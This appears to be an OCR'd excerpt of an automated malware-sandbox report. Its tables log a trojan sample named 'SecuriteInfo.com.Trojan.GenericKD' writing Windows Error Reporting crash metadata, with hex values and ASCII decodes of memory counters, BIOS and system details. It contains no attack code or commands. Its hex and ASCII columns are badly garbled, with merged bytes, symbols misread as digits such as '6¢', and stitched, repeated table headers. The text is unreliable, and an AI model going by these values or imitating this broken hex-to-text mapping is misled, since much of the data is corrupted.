ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 4

unknown 2

unknown 48

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 90

unknown 4

unknown 2

Length Value

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 3500 34 00 33
00 37 00 34 00 37 00
3500 3c 00 2f 00 55
00 70 00 74 00 69 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
30 00 22 00 20 00 68
00 6f 00 73 00 74 00
3d 00 22 00 33 00 34
00 34 00 30 00 34 00
2200 3e 0030 00 3c
00 2f 00 57 00 6f 00
7700 36 00 34 00 3e
00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 34
00 32 00 39 00 34 00
39 00 36 00 37 00 32
00 39 00 35 00 3c 00
2f 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00

0d 00 0a 00

09 00

Ascii

<.U.p.tim.e>.54.3.7.4.7.
5.<./.U.p.ti.m.e.>.

.h.0.5.t.=.".3.4.4.0.4.".>.0.
<./W.o.w.6.4.>.

<..p.t.E.n.a.b.l.e.d.>.0.</.
l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.ce.s.s.V.m.Ln.fo.r.
m.a.t.i.o.n.>.

<.P.e.ak.V.irtualS.z.
€.>.4.2.9.4.9.6.7.2.9.5.
<./.P.
eak.\VirtualS.ize>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

4

1

1

5

Source

Address Symbol

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 74

unknown 4

unknown 2

unknown 76

unknown 4

unknown 2

unknown 100

unknown 4

unknown 2

unknown 84

unknown 4

unknown 2

unknown 114

Value

3c 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 34 00
320039 00 34 00 39
00 36 00 37 00 32 00
39 00 35 00 3c 00 2f
00 56 00 69 00 72 00
7400 7500 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
7400 3e 00 3500 33
00 30 00 3500 31 00
3c 00 2f 00 50 00 61
00 67 00 65 00 46 00
61 00 75 00 6¢ 00 74
00 43 00 6f 00 75 00
6e 00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e
00 67 00 53 00 65 00
74 0053 0069 00 7a
00 65 00 3e 00 31 00
3000 37 00 31 00 34
00 33 00 31 00 36 00
38 00 3c 00 2f 00 50

00 65 00 61 00 6b 00
57 00 6f 00 72 00 6b

00 69 00 6e 00 67 00
53 00 65 00 74 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 72
00 6b 00 69 00 6e 00
67 00 53 00 65 00 74
00 53 00 69 00 7a 00
65 00 3e 00 31 00 30
00 31 00 34 00 36 00
36 00 31 00 31 00 32
00 3c 00 2f 00 57 00
6f 00 72 00 6b 00 69
00 6e 00 67 00 53 00
65 00 74 00 53 00 69
00 7a 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00 39 00 38 00 37 00
33 00 36 00 38 00 3c
00 2f 00 51 00 75 00
6f 00 74 00 61 00 50
00 65 00 61 00 6b 00
50 00 61 00 67 00 65
00 64 00 50 00 6f 00
6f 00 6¢ 00 55 00 73
00 61 00 67 00 65 00
3e 00

Ascii

<VirtualS.iz.e>42.
9.4.9.6.7.2.9.5.<./.V.irtu.

alS.iz.e>.

Completion

success or wait

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.0.u.n.t. success or wait

>.5.3.0.5.1.
<./.P.a.g.e.F.a.u.
L.t.C.o.u.n.t.>.

success or wait

success or wait

<.P.e.a.k.W.o.rk.i.n.g.S.e.t success or wait

.S.i.z.e.>.1.0.7.1.4.3.1.6.8.

<.

/.P.e.a.k.W.o.rk.i.n.g.S.e.t.

S.i.z.e>.

success or wait

success or wait

<W.o.rk..n.g.S.e.t.S.i.z.e. success or wait

>.1.0.1.4.6.6.1.1.2.
<..W.o.r.
ki.n.g.S.etS.i.z.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.P.a.g.e. success or wait

d.

P.o.0.l.U.s.a.g.e.>.9.8.7.3.

6.8.

<./.Q.u.o.t.a.P.e.ak.P.a.g.

e.d.P.o.0o.l.Us.a.g.e>.

Count Address

1

Source
Symbol

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 4

unknown 2

unknown 98

unknown 4

unknown 2

unknown 124

unknown 4

unknown 2

unknown 108

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

Value

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 39
00 34 00 33 00 30 00
38 00 30 00 3c 00 2f
00 51 00 75 00 6f 00
74 00 61 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
37 00 3500300033
00 32 00 3c 00 2f 00
51 00 75 00 6f 00 74
00 61 00 50 00 65 00
61 00 6b 00 4e 00 6f
00 6e 00 50 00 61 00
67 00 65 00 64 00 50
00 6f 00 6f 00 6¢ 00
5500 73 00 61 00 67
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 32 00 32 00 38 00
3800 3c 00 2f 00 51
00 75 00 6f 00 74 00
61 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 0061 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3c 0050 00 61 00 67
00 65 00 66 00 69 00
6¢ 00 65 00 55 00 73
00 61 00 67 00 65 00
3e 00 33 00 30 00 33
00 34 00 37 00 32 00
36 00 34 00 3c 00 2f
00 50 00 61 00 67 00
65 00 66 00 69 00 6¢
00 65 00 55 00 73 00
61 00 67 00 65 00 3e
00

0d 00 0a 00

09 00

Ascii Completion

success or wait

success or wait

<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait
l.U.s.a.g.e.>.9.4.3.0.8.0.

<./.Q.

u.o.t.a.P.a.g.e.d.P.o.0.l.U.s

.a.g.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait
a.

g.e.d.P.o.0l.Us.a.g.e>.7.

5.0.3.2.

<./.Q.u.o.t.a.P.e.a.k.N.
o.n.P.a.g.e.d.P.o.0.l.U.s.a.

g.e>.

success or wait

success or wait

<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait
P.

0.0..U.s.a.g.e.>.7.2.2.8.8.

<.

/.Q.u.o.t.a.N.o.n.P.a.g.e.d.
P.o.0.l.Us.a.g.e.>.

success or wait

success or wait

<.P.a.g.efile.U.s.a.g.e.> success or wait
3.0.3.4.7.2.6.4.

<./.P.a.g.ef.

ile.Us.a.g.e>.

success or wait

success or wait

Count Address

1

5

1

1

5

1

1

5

1

Source
Symbol
701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 94 3c 005000650061 <.P.e.ak.P.ag.efileU.s. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 6b 0050 00 61 00 a.g.e.>.3.7.5.9.3.0.8.8.

67 00 6500 66 0069 <./.P.
00 6c 00 65005500 e.a.k.P.a.g.efile.U.s.ag.
73 006100670065 e.>.
00 3e 00 33 00 37 00

3500 39 00 33 00 30

00 38 00 38 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 50 00 61 00

67 00 65 00 66 00 69

00 6¢ 00 65 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74 3c005000720069 <.Private.U.s.a.g.e.>3. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00760061007400 0.3.4.7.2.6.4.</P.riv.a.t.

65005500730061 e.Us.a.g.e>.
00 67 00 65 00 3e 00
33 00 3000 33 00 34
00 37 00 32 00 36 00
34 00 3c 00 2f 00 50
00 72 00 69 00 76 00

61 00 74 00 65 00 55

00 73 00 61 00 67 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.\V.m.l.n.f.o. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P.r.o.c.e.s.s.lnfo.rm. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 6f00 63006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 32 3c002f00500061 <./P.are.ntP.ro.c.e.s.s. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 72 00 65 00 6e 00 >.

7400 50 00 72 00 6f
00 63 00 65 00 73 00

7300 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P..o.c.e.s.s.l.nfo.rm. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 6f00 63 006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c 0050007200 6f <.P.r.o.b.le.m.S.i.g.n.a.t.u. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 62 00 6c 00 6500 r.e.s.>.

6d 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 62 3c00450076 0065 <.E.v.en.tT.y.p.e>AP.P. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 006e 0074005400 C.RAS.H.

7900700065003e <./Ev.e.ntTy.p.e>.
00 41 00 50 00 50 00

430052 00 41 00 53

00 48 00 3c 00 2f 00

45 00 76 00 65 00 6e

00 74 00 54 00 79 00

70 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 8 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 16 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 150 3c005000610072 <.P.ar.am.e.te.r.0.>.S.e.c success or wait 8 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 61 00 6d 00 6500 .u.r.it.e.l.n.fo..c.om..T.

74006500720030 r.0j.a.n..G.e.ne.r.icKD.
003e 0053006500 Z.7.3.1.2.4..1.9.1.7.0...e.
63007500720069 x.e</P.aram.e.te.r.0.>
00 74 00 65 00 49 00
6e 00 66 00 6f 00 2e
00 63 00 6f 00 6d 00
2e 00 54 00 72 00 6f
00 6a 00 61 00 6e 00
2e 00 47 00 65 00 6e
00 65 00 72 00 69 00
63 00 4b 00 44 00 5a
00 2e 00 37 00 33 00
3100 32 00 34 00 2e
00 31 00 39 00 31 00
37 00 30 00 2e 00 65
00 78 00 65 00 3c 00
2f 00 50 00 61 00 72
00 61 00 6d 00 65 00
7400 65 00 72 00 30

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c002f00500072 <./P.ob.lem.sS.g.n.at successorwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 6f 00 62 00 6c 00  u.r.e.s.>.

65 00 6d 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c00440079006e <.D.y.n.am.i.c.S.i.g.n.a.t.u. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 0061 006d 006900 r.e.s.>.

63 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 6 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 12 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c005000610072 <.P.aram.e.te.r.1.>1.0.. success orwait 6 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 0061 006d 006500 0..1.7.1.3.4...2...0...0...2.

74006500720031 5.6..4.8.</P.aram.e.te.
003e 0031003000 r.1.>.
2e 00 30 00 2e 00 31

00 37 00 31 00 33 00

34 00 2e 00 32 00 2e

00 30 00 2e 00 30 00

2e 00 32 00 35 00 36

00 2e 00 34 00 38 00

3c 00 2f 00 50 00 61

00 72 00 61 00 6d 00

65 00 74 00 65 00 72

00 31 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 40

unknown 4

unknown 2

unknown 38

unknown 4

unknown 2

unknown 94

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

unknown 96

unknown 4

unknown 2

Length Value

3c 00 2f 00 44 00 79
00 6e 00 61 00 6d 00
69 00 63 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

3c 00 4d 00 49 00 44
00 3e 00 41 00 32 00
4100 42 00 35 00 32
00 36 00 41 00 2d 00
44 00 33 00 38 00 44
00 2d 00 34 00 46 00
4300 39 00 2d 00 38
00 42 00 41 00 30 00
2d 00 45 00 33 00 34
00 42 00 38 00 44 00
36 00 33 00 35 00 34
00 45 00 38 00 3c 00
2f 00 4d 00 49 00 44
00 3e 00

0d 00 0a 00

09 00

3¢ 0053007900 73
00 74 00 65 00 6d 00
4d 00 61 00 6e 00 75
00 66 00 61 00 63 00
74007500 72 00 65
00 72 00 3e 00 77 00
69 00 75 00 6¢ 00 6f
00 69 00 2c 00 20 00
49 00 6e 00 63 00 2e
00 3c 00 2f 00 53 00
7900 73 00 74 00 65
00 6d 00 4d 00 61 00
6e 00 75 00 66 00 61
00 63 00 74 00 75 00
72006500 7200 3e
00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
50 00 72 00 6f 00 64
00 75 00 63 00 74 00
4e 00 61 00 6d 00 65
00 3e 00 77 00 69 00
75 00 6¢ 00 6f 00 69
00 37 00 2c 00 31 00
3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 50 00 72 00 6f
00 64 00 75 00 63 00
7400 4e 00 61 00 6d
00 65 00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
<./.D.y.n.a.m.i.c.S.i.g.n.a.t. success or wait 1 701B497A unknown
u.r.e.s.>.
success or wait 1 701B497A unknown
success or wait 1 701B497A unknown
<.S.y.s.te.m.l.n.f.o.rm.a.t. success or wait 1 701B497A unknown
i.o.n.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<.M.l.D.>.A.2.A.B.5.2.6.A.- success or wait 1 701B497A unknown
.D.3.8.D.-4.F.C9.-
.8.B.A.0.-.E.
3.4.B.8.D.6.3.5.4.E.8.
<./.M.l.D.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<.S.y.s.te.m.M.a.n.u.f.a.c.t success or wait 1 701B497A unknown
.urer>w.iulo.i.,. .l.n.c...

<./.S.y.s.t.e.m.M.a.n.u.f.
ac.ture.r>.

success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<.S.y.s.t.e.m.P.r.o.d.u.c.t.N success or wait 1 701B497A unknown

.am.e>w.i.ulo.i7.,.1.</.
S.y.s.t.e.m.P.r.o.d.u.c.t.N.a
.m.e.>.

success or wait 1 701B497A unknown

success or wait 2 701B497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 120 3c 0042004900 4f <.B..O.S.V.e.r.s.i.o.n.>.V. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00530056 006500 M

7200730069 006f W.7.1..0.0.V...1.3.9.8.9.4.
00 6e 00 3e 00 56 00 5.

4d 005700370031 4..B.6.4..1.9.0.6.1.9.0.5.3
002e 0030003000 .8.

56 00 2e 00 31 00 33 <./.B..O.S.V.e.r.s.i.o.n.>.
00 39 00 38 00 39 00

34 00 3500 34 00 2e

00 42 00 36 00 34 00

2e 00 31 00 39 00 30

00 36 00 31 00 39 00

30 00 3500 33 00 38

00 3c 00 2f 00 42 00

49 00 4f 00 53 00 56

00 65 00 72 00 73 00

69 00 6f 00 6e 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 82 3c004f00530049 <.0.S.l.ns.tallD.ate> success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 006e 0073007400 1.5.7.3.2.5.1.3.6.6.

6100 6¢ 00 6¢c 0044 <./.0.S.l
00610074006500 n.s.tallD.ate>.
3e 00 31 00 3500 37

00 33 00 32 00 35 00

31 00 33 00 36 00 36

00 3c 00 2f 00 4f 00

53 00 49 00 6e 00 73

00 74 00 61 00 6¢ 00

6¢ 00 44 00 61 00 74

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

